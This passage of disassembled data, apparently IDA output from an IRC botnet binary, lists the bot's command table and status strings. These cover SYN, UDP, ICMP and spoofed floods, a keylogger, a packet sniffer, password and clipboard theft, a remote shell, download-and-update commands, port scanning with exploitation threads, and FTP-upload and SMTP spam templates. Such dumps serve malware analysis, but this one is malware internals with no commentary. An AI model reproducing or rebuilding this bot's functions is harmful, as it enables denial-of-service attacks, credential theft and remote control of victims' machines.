6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_431290 db 2 ; DATA XREF: sub_40EE72+3ADDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 10h unk_4312D0 db 2 ; DATA XREF: sub_40EE72+3A55o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431318 db 2 ; DATA XREF: sub_40EE72+39E6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 4 dword_431358 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+3948o dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_4313A0 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D7o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_4313DC db 2 ; DATA XREF: sub_40EE72+385Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_43142C db 2 ; DATA XREF: sub_40EE72+37EFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 4 unk_431468 db 2 ; DATA XREF: sub_40EE72+371Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_4314BC db 2 ; DATA XREF: sub_40EE72+36AEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_431508 db 2 ; DATA XREF: sub_40EE72+3620o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_431554 db 2 ; DATA XREF: sub_40EE72+35B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Do align 10h aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3430o align 10h dword_4315C0 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A2o ; sub_40EE72+43EFo unk_4315CC db 2 ; DATA XREF: sub_40EE72+3340o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_431614 db 2 ; DATA XREF: sub_40EE72+32D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A6o ; sub_40EE72+50DDo align 10h aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+329Fo ; sub_40EE72+50D6o align 4 unk_431698 db 2 ; DATA XREF: sub_40EE72+3161o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_4316DC db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_431728 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_431770 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 10h unk_4317E0 db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_431828 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h dword_431880 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 4 dword_4318C8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 10h dword_431910 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_431964 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_43199C dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_4319D8 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 10h dword_431A50 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 10h aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 4 aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 4 unk_431AA8 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 4 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 4 aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 10h aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 10h aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 10h aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 10h aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 10h aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 10h aAd db 'ad',0 ; DATA XREF: sub_40EE72+27E3o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 4 aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 4 aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 4 aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 4 aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 4 aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 10h aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 10h aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 4 aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 4 aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 10h aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 10h aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 4 aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 4 aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 4 aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 4 aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 10h aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 4 aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 4 aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 4 aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 4 aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 10h aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 4 aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 10h aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 4 aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 4 aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_431DF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 10h dword_431E20 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_431E50 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_431E7C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 4 dword_431EB4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_431EE4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 4 aContinue db 'continue',0 ; DATA XREF: sub_40EE72+20E5o align 10h aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 10h dword_431F40 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 10h dword_431F70 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o align 4 dword_431FAC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_431FFC db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_432048 db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_432078 db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4320A8 db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_4320E4 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 10h aFile db 'file',0 ; DATA XREF: sub_40EE72+1E83o ; sub_40EE72+1EF9o align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 4 unk_432144 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_43217C db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_4321C8 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_432214 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_432254 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 10h aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 10h aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 4 aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 10h aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 10h aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 4 aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 10h aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 10h aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 4 aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 4 aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 4 aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 10h aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 10h aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 10h aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 4 aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 10h aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 4 aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 4 aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 4 aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 4 aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 4 aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 4 aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 4 aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 4 aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 10h aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 10h aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 4 aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_432520 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 10h aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 10h aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 10h aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 